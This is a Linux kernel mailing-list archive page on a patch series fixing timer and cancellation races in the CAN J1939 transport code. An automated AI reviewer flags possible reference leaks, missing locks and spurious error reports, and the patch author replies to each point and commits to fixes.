> > WARN_ON_ONCE(!err);
> > + lockdep_assert_held(&session->tx_send_lock);
> > lockdep_assert_held(&session->priv->active_session_list_lock);
> >
> > session->err = j1939_xtp_abort_to_errno(priv, err);
> > session->state = J1939_SESSION_WAITING_ABORT;
> > /* do not send aborts on incoming broadcasts */
> > - if (!j1939_cb_is_broadcast(&session->skcb)) {
> > + if (!session->tx_send_shutdown &&
> > + !j1939_cb_is_broadcast(&session->skcb)) {
> > j1939_xtp_tx_abort(priv, &session->skcb,
> > !session->transmission,
> > err, session->skcb.addr.pgn);
> > @@ -1381,6 +1418,7 @@ static void __j1939_session_cancel(struct j1939_session *session,
> > static void j1939_session_cancel(struct j1939_session *session,
> > enum j1939_xtp_abort err)
> > {
> > + spin_lock_bh(&session->tx_send_lock);
> > j1939_session_list_lock(session->priv);
> >
> > if (session->state >= J1939_SESSION_ACTIVE &&
> > @@ -1391,6 +1429,7 @@ static void j1939_session_cancel(struct j1939_session *session,
> > }
> >
> > j1939_session_list_unlock(session->priv);
> > + spin_unlock_bh(&session->tx_send_lock);
> >
> > if (!session->sk)
> > j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
>
> [Severity: High]
> When j1939_xtp_rx_abort_one() processes an incoming XTP ABORT frame, it calls
> j1939_session_tx_send_shutdown(session) and then drains both timers via
> j1939_session_timers_cancel(session) while session->state is still
> J1939_SESSION_ACTIVE:
>
> net/can/j1939/transport.c:j1939_xtp_rx_abort_one() {
> ...
> j1939_session_tx_send_shutdown(session);
> j1939_session_timers_cancel(session);
> j1939_session_list_lock(priv);
> if (session->state >= J1939_SESSION_ACTIVE &&
> session->state < J1939_SESSION_ACTIVE_MAX)
> session->err = j1939_xtp_abort_to_errno(priv, abort);
> j1939_session_list_unlock(priv);
> if (session->sk)
> j1939_sk_send_loop_abort(session->sk, session->err);
> else
> j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
> j1939_session_deactivate_activate_next(session);
> }
>
> While j1939_session_timers_cancel() is waiting for txtimer in
> j1939_session_txtimer_cancel() (before j1939_session_rxtimer_cancel_sync()
> increments session->rxtimer_cancelers), a concurrent j1939_tp_txtimer()
> callback that fails prior to j1939_session_tx_send() (for instance with
> -EOVERFLOW in j1939_session_tx_dat(), -ENOENT in j1939_session_tx_cts() or
> j1939_session_tx_eoma(), or -ENOMEM in j1939_tp_tx_dat_new()) can call
> j1939_session_cancel(), or a concurrent j1939_tp_rxtimer() callback can enter
> its non-simple timeout branch.
>
> Because !session->tx_send_shutdown is only checked around j1939_xtp_tx_abort()
> inside __j1939_session_cancel() rather than gating the cancellation block in
> j1939_session_cancel() and j1939_tp_rxtimer(), won't the timer callback still:
>
> 1. rearm session->rxtimer for J1939_XTP_ABORT_TIMEOUT_MS via
> j1939_tp_set_rxtimeout_locked() (or record session->rxtimer_pending = true
> if rxtimer_cancelers is non-zero),
> 2. overwrite session->err with the local timer error and transition
> session->state to J1939_SESSION_WAITING_ABORT, and
> 3. immediately call j1939_sk_send_loop_abort(session->sk, session->err),
> waking session->sk with the wrong sk_err before j1939_xtp_rx_abort_one()
> sets session->err from the received ABORT frame and notifies the socket a
> second time?
>
> Should j1939_session_cancel() and the timeout branch in j1939_tp_rxtimer()
> check !session->tx_send_shutdown before rearming rxtimer and calling
> __j1939_session_cancel()?
>
Agreed. The shutdown gate currently prevents sends, but does not prevent
timer callbacks from changing session state, rearming the RX timer, or
reporting errors. I will serialize these terminal side effects in the next
revision.
> [ ... ]
>
> > @@ -1460,6 +1498,9 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
> > * propagation of the error to user space.
> > */
> > break;
> > + case -ESHUTDOWN:
> > + /* A terminal path won before this packet could be sent. */
> > + break;
> > case -EOVERFLOW:
> > j1939_session_cancel(session, J1939_XTP_ABORT_ECTS_TOO_BIG);
> > break;
>
> [Severity: Medium]
> Here j1939_tp_txtimer() treats -ESHUTDOWN as an expected race with session
> shutdown, but in j1939_tp_txtimer() -> j1939_xtp_txnext_transmiter() ->
> j1939_session_tx_dat(), a -ESHUTDOWN return from j1939_tp_tx_dat() still hits
> the error log check:
>
> net/can/j1939/transport.c:j1939_session_tx_dat() {
> ...
> ret = j1939_tp_tx_dat(session, dat, len + 1);
> if (ret < 0) {
> /* ENOBUFS == CAN interface TX queue is full */
> if (ret != -ENOBUFS)
> netdev_alert(priv->ndev,
> "%s: 0x%p: queue data error: %i\n",
> __func__, session, ret);
> break;
> }
> }
>
> Will a session shutdown racing with j1939_session_tx_dat() emit a spurious
> netdev_alert() with -ESHUTDOWN (and still call j1939_tp_set_rxtimeout() if
> pkt_done > 0 from earlier packets in the loop)?
Agreed. -ESHUTDOWN is an expected result when terminal shutdown wins. I
will suppress that alert and avoid rearming the RX timeout after this
shutdown result, including when earlier packets were sent in the loop.
>
> > @@ -1558,6 +1599,7 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
> > /* The message is probably stuck in the CAN controller and can
> > * be send as soon as CAN bus is in working state again.
> > */
> > + spin_lock_bh(&session->tx_send_lock);
> > j1939_session_list_lock(priv);
> > if (session->state >= J1939_SESSION_ACTIVE &&
> > session->state < J1939_SESSION_ACTIVE_MAX) {
> > session->err = -ETIME;
> > j1939_session_deactivate_locked(session);
> > }
> > j1939_session_list_unlock(priv);
> > + spin_unlock_bh(&session->tx_send_lock);
> > j1939_session_txtimer_cancel_async(session);
> > j1939_session_rxtimer_cancel(session);
>
> [Severity: High]
> Can this J1939_SIMPLE timeout path in j1939_tp_rxtimer() leak the session on
> jsk->sk_session_queue and hang socket close when it races with
> j1939_simple_txnext()?
Agreed. If the SIMPLE timeout deactivates the session before the send path
advances the socket queue, the queued session can remain pending. I will
ensure the winning terminal path advances or removes it exactly once.
>
> In j1939_tp_txtimer() -> j1939_simple_txnext(), rxtimer is armed before
> j1939_session_tx_send() is called, and j1939_sk_queue_activate_next(session)
> is only called if j1939_session_tx_send() succeeds:
>
> net/can/j1939/transport.c:j1939_simple_txnext() {
> ...
> j1939_tp_set_rxtimeout(session, J1939_SIMPLE_ECHO_TIMEOUT_MS);
>
> ret = j1939_session_tx_send(session, skb);
> if (ret)
> goto out_free;
>
> j1939_sk_errqueue(session, J1939_ERRQUEUE_TX_SCHED);
> j1939_sk_queue_activate_next(session);
> }
>
> If j1939_tp_rxtimer() fires before j1939_session_tx_send() succeeds (either
> between j1939_tp_set_rxtimeout() and j1939_session_tx_send(), or while txtimer
> is retrying after j1939_session_tx_send() returned -ENOBUFS),
> j1939_tp_rxtimer() transitions session->state to J1939_SESSION_DONE via
> j1939_session_deactivate_locked() and cancels both timers without calling
> j1939_sk_queue_activate_next(session).
>
> When j1939_simple_txnext() then calls j1939_session_tx_send(), it sees
> state != J1939_SESSION_ACTIVE and returns -ESHUTDOWN, jumping to out_free
> without calling j1939_sk_queue_activate_next(session), and j1939_tp_txtimer()
> breaks out of its switch on -ESHUTDOWN.
>
> Doesn't that leave session permanently queued on jsk->sk_session_queue with
> its queue kref and jsk->skb_pending count held, stalling subsequent queued
> sessions and causing j1939_sk_release() to block indefinitely waiting on
> !j1939_sock_pending_get(&jsk->sk)?
>
> > } else {
> > + spin_lock_bh(&session->tx_send_lock);
> > j1939_session_list_lock(session->priv);
> > if (!session->rxtimer_cancelers &&
> > session->state >= J1939_SESSION_ACTIVE &&
> > session->state < J1939_SESSION_ACTIVE_MAX) {
> > netdev_alert(priv->ndev, "%s: 0x%p: rx timeout, send abort\n",
> > __func__, session);
> > j1939_tp_set_rxtimeout_locked(session,
> > J1939_XTP_ABORT_TIMEOUT_MS);
> > __j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
> > }
> > j1939_session_list_unlock(session->priv);
> > + spin_unlock_bh(&session->tx_send_lock);
> >
> > if (!session->sk)
> > j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
>
> [Severity: High]
> In this branch of j1939_tp_rxtimer(), as well as in j1939_session_cancel() and
> j1939_xtp_rx_abort_one(), the socket error notification outside the lock runs
> unconditionally even when the state check (or !session->rxtimer_cancelers)
> evaluates to false.
>
> For example, when an RX session (!session->sk) completes in
> j1939_xtp_rx_dat_one() (when final is true) and calls
> j1939_session_timers_cancel() -> j1939_session_rxtimer_cancel_sync(),
> session->rxtimer_cancelers is incremented while waiting for a running
> j1939_tp_rxtimer() callback to finish. In j1939_tp_rxtimer(), the condition
> !session->rxtimer_cancelers is false, so __j1939_session_cancel() is skipped
> and session->err remains 0, but j1939_tp_rxtimer() still calls
> j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT) after dropping the locks.
>
> Similarly, if j1939_session_cancel() or j1939_xtp_rx_abort_one() finds that
> another path already transitioned session->state out of the active range, it
> still invokes j1939_sk_errqueue() or j1939_sk_send_loop_abort().
>
> Should these error notifications be gated on whether the caller actually won
> the state transition?
Agreed. I will make socket error reporting conditional on winning the
relevant state transition, including the session-cancel, RX-timeout, and
incoming-ABORT paths.
>
> > @@ -1671,6 +1716,8 @@ static void j1939_xtp_rx_abort_one(struct j1939_priv *priv, struct sk_buff *skb,
> > session, j1939_xtp_ctl_to_pgn(skb->data), abort,
> > j1939_xtp_abort_to_str(abort));
> >
> > + /* Stop TX callbacks before waiting for the timer callbacks to drain. */
> > + j1939_session_tx_send_shutdown(session);
> > j1939_session_timers_cancel(session);
> > j1939_session_list_lock(priv);
> > if (session->state >= J1939_SESSION_ACTIVE &&
>
> [Severity: Medium]
> Here j1939_xtp_rx_abort_one() calls j1939_session_tx_send_shutdown(session)
> before j1939_session_timers_cancel(session), because session->state is still
> J1939_SESSION_ACTIVE while the timers are being drained.
>
> However, the other paths that call j1939_session_timers_cancel(session) before
> deactivating or canceling the session do not call
> j1939_session_tx_send_shutdown(session) first:
>
> - j1939_xtp_rx_eoma_one() sets session->pkt.tx_acked = session->pkt.total,
> calls j1939_session_timers_cancel(session), and only then calls
> j1939_session_completed(session) -> j1939_session_deactivate().
> - j1939_xtp_rx_dat_one() (both the final completion branch and
> out_session_cancel) calls j1939_session_timers_cancel(session) before
> j1939_session_completed(session) or j1939_session_cancel(session, abort).
> - j1939_simple_recv() calls j1939_session_timers_cancel(session) before
> j1939_session_deactivate(session).
> - j1939_xtp_rx_cts_one() (at out_session_cancel) and
> j1939_xtp_rx_rts_session_active() call j1939_session_timers_cancel(session)
> before j1939_session_cancel().
>
> While j1939_session_timers_cancel() is waiting for an in-flight
> j1939_tp_txtimer() callback in those paths, both session->tx_send_shutdown is
> false and session->state is J1939_SESSION_ACTIVE, so j1939_session_tx_send()
> still allows packets through (and in j1939_xtp_rx_eoma_one(), a concurrent
> j1939_tp_rxtimer() firing before rxtimer_cancelers is incremented can still
> send an XTP ABORT frame on a completed session).
>
> Should j1939_session_timers_cancel() itself call
> j1939_session_tx_send_shutdown(session) (or should those callers shut down TX
> sends before draining the timers)?
Agreed. Completion paths must close the session send gate before waiting
for timer callbacks. I will distinguish terminal shutdown from timer drains
that are temporary and allow the session to continue.
>
> --
> Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793259424.git.zihanx@nebusec.ai?part=2
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH net v3 1/3] can: j1939: fix session reference leaks on timer rearm
2026-10-29 9:17 ` sashiko-bot
@ 2026-10-29 10:05 ` zihan xi
0 siblings, 0 replies; 8+ messages in thread
From: zihan xi @ 2026-10-29 10:05 UTC (permalink / raw)
To: sashiko-reviews
Cc: linux-can, Marc Kleine-Budde, Oliver Hartkopp, Vincent Mailhol,
Oleksij Rempel
On Thu, Oct 29, 2026 at 5:17 PM <sashiko-bot@kernel.org> wrote:
>
> Thank you for your contribution! Sashiko AI review found 5 potential issue(s) to consider:
> - [High] can: j1939: uncancelled rearmed timers on session deactivation
> - [Medium] can: j1939: missing rxtimer_cancelers check in j1939_tp_rxtimer()
> - [Medium] can: j1939: spurious RX abort errqueue in j1939_tp_rxtimer()
> - [Medium] can: j1939: unconditional abort report in j1939_xtp_rx_abort_one()
> - [Medium] can: j1939: race between j1939_xtp_rx_cts_one() and running j1939_tp_txtimer()
> --
>
> commit 7eba1ba447e6468d3fbb3a6bd7b54eae6d683f35
> Author: Zihan Xi <zihanx@nebusec.ai>
>
> can: j1939: fix session reference leaks on timer rearm
>
> This patch separates queued timer and running callback references for J1939
> session TX and RX hrtimers to avoid leaking session references on timer
> rearming. It also drains terminal timers outside state locks and moves
> next-session timer scheduling outside the socket queue lock.
>
> Link: https://bugtracker.nebusec.ai/f/11143
> Link: https://lore.kernel.org/all/cover.1793012287.git.zihanx@nebusec.ai/
>
> > diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
> > index 8fcfd13e5e6f8..0dd08d1b8f755 100644
> > --- a/net/can/j1939/transport.c
> > +++ b/net/can/j1939/transport.c
> > @@ -301,22 +302,139 @@ void j1939_session_put(struct j1939_session *session)
> > kref_put(&session->kref, __j1939_session_release);
> > }
> >
> > +static void j1939_session_txtimer_cancel_async(struct j1939_session *session)
> > +{
> > + bool put_qref = false;
> > + int ret;
> > +
> > + spin_lock_bh(&session->txtimer_lock);
> > + session->txtimer_shutdown = true;
> > + ret = hrtimer_try_to_cancel(&session->txtimer);
> > + if (ret == 1) {
> > + WARN_ON_ONCE(!session->txtimer_qref);
> > + session->txtimer_qref = false;
> > + put_qref = true;
> > + }
> > + spin_unlock_bh(&session->txtimer_lock);
> > +
> > + if (put_qref)
> > + j1939_session_put(session);
> > +}
>
> [ ... ]
>
> > +/* Cancel a queued RX timer without waiting; caller may be in softirq context. */
> > static void j1939_session_rxtimer_cancel(struct j1939_session *session)
> > {
> > - if (hrtimer_cancel(&session->rxtimer))
> > + bool put_qref = false;
> > + int ret;
> > +
> > + j1939_session_list_lock(session->priv);
> > + ret = hrtimer_try_to_cancel(&session->rxtimer);
> > + if (ret == 1) {
> > + WARN_ON_ONCE(!session->rxtimer_qref);
> > + session->rxtimer_qref = false;
> > + put_qref = true;
> > + }
> > + j1939_session_list_unlock(session->priv);
> > +
> > + if (put_qref)
> > j1939_session_put(session);
> > }
>
> [ ... ]
>
> > @@ -1127,6 +1342,11 @@ static bool j1939_session_deactivate(struct j1939_session *session)
> > active = j1939_session_deactivate_locked(session);
> > j1939_session_list_unlock(priv);
> >
> > + if (active) {
> > + j1939_session_txtimer_cancel_async(session);
> > + j1939_session_rxtimer_cancel(session);
> > + }
> > +
> > return active;
> > }
>
> [ ... ]
>
> > @@ -1226,13 +1472,37 @@ static enum hrtimer_restart j1939_tp_txtimer(struct hrtimer *hrtimer)
> > if (session->skcb.addr.type != J1939_SIMPLE) {
> > j1939_session_cancel(session, J1939_XTP_ABORT_OTHER);
> > } else {
> > - session->err = ret;
> > + j1939_session_list_lock(priv);
> > + if (session->state >= J1939_SESSION_ACTIVE &&
> > + session->state < J1939_SESSION_ACTIVE_MAX)
> > + session->err = ret;
> > + j1939_session_list_unlock(priv);
> > j1939_session_rxtimer_cancel(session);
> > j1939_session_deactivate_activate_next(session);
> > }
> > }
> >
> > - j1939_session_put(session);
> > +txtimer_done:
> > + spin_lock_bh(&session->txtimer_lock);
> > + WARN_ON_ONCE(!session->txtimer_cb_running ||
> > + !session->txtimer_cbref);
> > + session->txtimer_cb_running = false;
> > + if (txtimer_delay && !session->txtimer_shutdown &&
> > + !session->txtimer_qref) {
> > + /* Transfer the callback pin to its rearmed timer. */
> > + session->txtimer_cbref = false;
> > + session->txtimer_qref = true;
> > + hrtimer_start(&session->txtimer, ms_to_ktime(txtimer_delay),
> > + HRTIMER_MODE_REL_SOFT);
> > + } else {
> > + /* An external qref, if present, owns the next firing. */
> > + session->txtimer_cbref = false;
> > + put_cbref = true;
> > + }
> > + spin_unlock_bh(&session->txtimer_lock);
> > +
> > + if (put_cbref)
> > + j1939_session_put(session);
> >
> > return HRTIMER_NORESTART;
> > }
> > @@ -1257,8 +1527,25 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
> > struct j1939_session,
> > rxtimer);
> > struct j1939_priv *priv = session->priv;
> > + enum j1939_session_state state;
> > + bool active;
> > +
> > + j1939_session_list_lock(priv);
> > + if (!session->rxtimer_cbref) {
> > + WARN_ON_ONCE(session->rxtimer_cb_running);
> > + WARN_ON_ONCE(!session->rxtimer_qref);
> > + session->rxtimer_qref = false;
> > + session->rxtimer_cbref = true;
> > + }
> > + session->rxtimer_cb_running = true;
> > + state = session->state;
> > + active = state >= J1939_SESSION_ACTIVE &&
> > + state < J1939_SESSION_ACTIVE_MAX;
> > + j1939_session_list_unlock(priv);
> >
> > - if (session->state == J1939_SESSION_WAITING_ABORT) {
> > + if (!active) {
> > + /* A terminal path won before this callback started its work. */
> > + } else if (state == J1939_SESSION_WAITING_ABORT) {
> > netdev_alert(priv->ndev, "%s: 0x%p: abort rx timeout. Force session deactivation\n",
> > __func__, session);
> >
> > @@ -1271,18 +1558,24 @@ static enum hrtimer_restart j1939_tp_rxtimer(struct hrtimer *hrtimer)
> > /* The message is probably stuck in the CAN controller and can
> > * be send as soon as CAN bus is in working state again.
> > */
> > - session->err = -ETIME;
> > - j1939_session_deactivate(session);
> > + j1939_session_list_lock(priv);
> > + if (session->state >= J1939_SESSION_ACTIVE &&
> > + session->state < J1939_SESSION_ACTIVE_MAX) {
> > + session->err = -ETIME;
> > + j1939_session_deactivate_locked(session);
> > + }
> > + j1939_session_list_unlock(priv);
> > + j1939_session_txtimer_cancel_async(session);
> > + j1939_session_rxtimer_cancel(session);
>
> [Severity: High]
> Can a rearmed timer remain queued holding session->rxtimer_qref or
> session->txtimer_qref after the session is deactivated?
Partly agreed. A running callback can leave a queued timer reference when
hrtimer_try_to_cancel() returns -1; the current callback should later
observe shutdown/inactive state and release it, so this shows delayed
resource release rather than a proven permanent leak. I will address the
terminal cleanup race in the next revision.
>
> In kernel/time/hrtimer.c:hrtimer_try_to_cancel():
>
> if (!hrtimer_callback_running(timer)) {
> ret = remove_hrtimer(timer, base, HRTIMER_STATE_INACTIVE);
> if (ret)
> trace_hrtimer_cancel(timer);
> }
>
> whenever the callback is currently executing (base->running == timer),
> hrtimer_try_to_cancel() returns -1 without removing the timer from the
> hrtimer queue, even if the timer was concurrently rearmed with
> hrtimer_start().
>
> When j1939_session_deactivate() (or the J1939_SIMPLE branch in
> j1939_tp_rxtimer()) deactivates a session, j1939_session_deactivate_locked()
> removes the session from priv->active_session_list and sets session->state
> to J1939_SESSION_DONE, and then calls j1939_session_txtimer_cancel_async()
> and j1939_session_rxtimer_cancel().
>
> If a timer was rearmed while its callback was running:
>
> 1. In j1939_tp_rxtimer(), the J1939_SESSION_WAITING_ABORT and J1939_SIMPLE
> branches call j1939_session_rxtimer_cancel() from inside
> j1939_tp_rxtimer() itself. Since hrtimer_callback_running() is true,
> hrtimer_try_to_cancel(&session->rxtimer) always returns -1. If a
> concurrent j1939_tp_set_rxtimeout() rearmed session->rxtimer before
> session->state became J1939_SESSION_DONE, the epilogue of
> j1939_tp_rxtimer() only drops session->rxtimer_cbref and leaves
> session->rxtimer queued with session->rxtimer_qref = true.
>
> 2. In the active XTP branch of j1939_tp_rxtimer(), the callback rearms
> session->rxtimer for J1939_XTP_ABORT_TIMEOUT_MS (setting
> session->rxtimer_qref = true) and drops active_session_list_lock. If a
> concurrent j1939_tp_txtimer() error path calls
> j1939_session_rxtimer_cancel() and j1939_session_deactivate_activate_next()
> before j1939_tp_rxtimer() finishes executing in __run_hrtimer(),
> hrtimer_try_to_cancel(&session->rxtimer) returns -1 and leaves the abort
> timeout queued.
>
> 3. Similarly, if a concurrent j1939_tp_schedule_txtimer() rearms
> session->txtimer while j1939_tp_txtimer() is running (setting
> session->txtimer_qref = true) and j1939_session_txtimer_cancel_async()
> runs before j1939_tp_txtimer() exits, hrtimer_try_to_cancel() returns -1.
> At txtimer_done, session->txtimer_shutdown is true, so it takes the else
> branch and only drops session->txtimer_cbref, leaving session->txtimer
> queued with session->txtimer_qref = true.
>
> Because the session has already been removed from priv->active_session_list,
> j1939_cancel_active_session() during socket close or netdev teardown will no
> longer find the session to synchronously drain the remaining queued timer,
> delaying j1939_session_destroy() until the timer expires.
>
> > } else {
> > j1939_session_list_lock(session->priv);
> > - if (session->state >= J1939_SESSION_ACTIVE &&
> > + if (!session->rxtimer_cancelers &&
> > + session->state >= J1939_SESSION_ACTIVE &&
> > session->state < J1939_SESSION_ACTIVE_MAX) {
> > netdev_alert(priv->ndev, "%s: 0x%p: rx timeout, send abort\n",
> > __func__, session);
> > - j1939_session_get(session);
> > - hrtimer_start(&session->rxtimer,
> > - ms_to_ktime(J1939_XTP_ABORT_TIMEOUT_MS),
> > - HRTIMER_MODE_REL_SOFT);
> > + j1939_tp_set_rxtimeout_locked(session,
> > + J1939_XTP_ABORT_TIMEOUT_MS);
> > __j1939_session_cancel(session, J1939_XTP_ABORT_TIMEOUT);
> > }
> > j1939_session_list_unlock(session->priv);
>
> [Severity: Medium]
> Should the state == J1939_SESSION_WAITING_ABORT and
> session->skcb.addr.type == J1939_SIMPLE branches in j1939_tp_rxtimer() also
> check session->rxtimer_cancelers?
Agreed. The temporary-drain gate must cover the SIMPLE and WAITING_ABORT
branches as well as the general XTP branch. I will make the timeout action
conditional on the state and drain status under the appropriate lock.
>
> Callers such as j1939_simple_recv() and j1939_xtp_rx_abort_one() drain
> timers via j1939_session_timers_cancel(session) before updating session->err
> or deactivating the session:
>
> j1939_simple_recv()
> j1939_session_timers_cancel(session)
> j1939_session_rxtimer_cancel_sync(session, true)
> session->rxtimer_cancelers++;
> j1939_session_list_unlock(session->priv);
> hrtimer_cancel(timer);
> j1939_session_deactivate(session);
>
> Because j1939_tp_rxtimer() only checks !session->rxtimer_cancelers in the
> final else branch, a concurrent j1939_tp_rxtimer() running while
> j1939_simple_recv() is waiting in hrtimer_cancel() will enter the
> J1939_SIMPLE branch, set session->err = -ETIME, and deactivate the session,
> reporting a timeout error for a simple message that was already received.
> Likewise, in the J1939_SESSION_WAITING_ABORT branch, j1939_tp_rxtimer() will
> deactivate the session while j1939_xtp_rx_abort_one() is waiting in
> j1939_session_timers_cancel(), preventing j1939_xtp_rx_abort_one() from
> recording the abort error code in session->err.
>
> >
> > if (!session->sk)
> > j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
> > }
>
> [Severity: Medium]
> If j1939_tp_rxtimer() skips __j1939_session_cancel() in the else branch
> because session->rxtimer_cancelers is non-zero or session->state is no
> longer active, won't this still unconditionally call
> j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT) when !session->sk?
Agreed. The RX_ABORT errqueue notification must only be sent when the
callback actually wins and performs the abort transition. I will gate it
accordingly.
>
> For example, when an incoming broadcast BAM session completes in
> j1939_xtp_rx_dat_one() and calls j1939_session_timers_cancel(session),
> session->rxtimer_cancelers is incremented while hrtimer_cancel() waits for a
> concurrently running j1939_tp_rxtimer(). j1939_tp_rxtimer() sees
> session->rxtimer_cancelers != 0 and skips __j1939_session_cancel(), but
> after unlocking it still queues a spurious J1939_ERRQUEUE_RX_ABORT with
> session->err == 0 to subscribed sockets.
>
> [ ... ]
>
> > @@ -1372,7 +1672,11 @@ static void j1939_xtp_rx_abort_one(struct j1939_priv *priv, struct sk_buff *skb,
> > j1939_xtp_abort_to_str(abort));
> >
> > j1939_session_timers_cancel(session);
> > - session->err = j1939_xtp_abort_to_errno(priv, abort);
> > + j1939_session_list_lock(priv);
> > + if (session->state >= J1939_SESSION_ACTIVE &&
> > + session->state < J1939_SESSION_ACTIVE_MAX)
> > + session->err = j1939_xtp_abort_to_errno(priv, abort);
> > + j1939_session_list_unlock(priv);
> > if (session->sk)
> > j1939_sk_send_loop_abort(session->sk, session->err);
> > else
> > j1939_sk_errqueue(session, J1939_ERRQUEUE_RX_ABORT);
> > j1939_session_deactivate_activate_next(session);
>
> [Severity: Medium]
> In j1939_xtp_rx_abort_one(), if the session transitions to
> J1939_SESSION_DONE while j1939_session_timers_cancel(session) is waiting
> outside active_session_list_lock, session->err is not updated, but
> j1939_sk_send_loop_abort() or j1939_sk_errqueue() is still called
> unconditionally afterwards.
Agreed. The incoming-ABORT path must report only if it wins the terminal
state transition; otherwise it can send a stale or duplicate error
notification. I will add winner-based reporting.
>
> Should reporting the abort also be skipped when the session was already
> deactivated?
>
> > @@ -1486,7 +1790,6 @@ j1939_xtp_rx_cts_one(struct j1939_session *session, struct sk_buff *skb)
> > if (session->pkt.tx_acked)
> > j1939_sk_errqueue(session,
> > J1939_ERRQUEUE_TX_SCHED);
> > - j1939_session_txtimer_cancel(session);
> > j1939_tp_schedule_txtimer(session, 0);
> > }
> > } else {
>
> [Severity: Medium]
> Is it safe to remove j1939_session_txtimer_cancel(session) from
> j1939_xtp_rx_cts_one() when j1939_tp_txtimer() may already be running on
> another CPU?
Agreed. The CTS handler and TX callback access the same packet-window
state, and the timer lock does not serialize those accesses. I will add a
safe synchronization scheme without waiting under a lock needed by the
callback.
>
> Previously, j1939_xtp_rx_cts_one() called hrtimer_cancel(&session->txtimer)
> before calling j1939_tp_schedule_txtimer(session, 0), waiting for any
> in-flight j1939_tp_txtimer() callback to finish.
>
> Without that wait, if j1939_tp_txtimer() is dispatched on CPU 0 (for
> instance, from a packet-delay or -ENOBUFS retry timer) while
> j1939_xtp_rx_cts_one() runs on CPU 1:
>
> CPU 1 (j1939_xtp_rx_cts_one)
> updates session->pkt.tx_acked, session->pkt.last, session->pkt.tx
> session->last_cmd = dat[0];
> j1939_tp_schedule_txtimer(session, 0)
> hrtimer_try_to_cancel(&session->txtimer) -> returns -1
> session->txtimer_qref = true;
> hrtimer_start(&session->txtimer, 0, ...);
>
> CPU 0 (j1939_tp_txtimer)
> j1939_xtp_txnext_transmiter(session, &txtimer_delay)
> j1939_session_tx_dat(session, &txtimer_delay)
>
> CPU 0 then transmits using the CTS state just written by CPU 1. At
> txtimer_done on CPU 0:
>
> if (txtimer_delay && !session->txtimer_shutdown &&
> !session->txtimer_qref) {
> ...
> } else {
> /* An external qref, if present, owns the next firing. */
> session->txtimer_cbref = false;
> put_cbref = true;
> }
>
> Because session->txtimer_qref is already true from CPU 1, CPU 0 either drops
> its computed txtimer_delay (losing j1939_tp_packet_delay or the -ENOBUFS
> retry backoff in favor of the 0ms timer) or, if CPU 0 already transmitted
> all packets up to session->pkt.total, leaves the 0ms timer queued so the
> next j1939_tp_txtimer() firing sees session->pkt.tx == session->pkt.total,
> fails j1939_session_skb_get_by_offset() with NULL, and triggers -ENOBUFS
> retries.
>
> --
> Sashiko AI review · https://sashiko.dev/#/patchset/cover.1793259424.git.zihanx@nebusec.ai?part=1
^ permalink raw reply [flat|nested] 8+ messages in thread
end of thread, other threads:[~2026-10-29 10:05 UTC | newest]
Thread overview: 8+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-29 8:43 [PATCH net v3 0/3] can: j1939: fix timer reference and cancellation races Zihan Xi
2026-10-29 8:43 ` [PATCH net v3 1/3] can: j1939: fix session reference leaks on timer rearm Zihan Xi
2026-10-29 9:17 ` sashiko-bot
2026-10-29 10:05 ` zihan xi
2026-10-29 8:43 ` [PATCH net v3 2/3] can: j1939: stop TX sends after session shutdown Zihan Xi
2026-10-29 9:15 ` sashiko-bot
2026-10-29 10:02 ` zihan xi
2026-10-29 8:43 ` [PATCH net v3 3/3] can: j1939: enable context analysis Zihan Xi
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.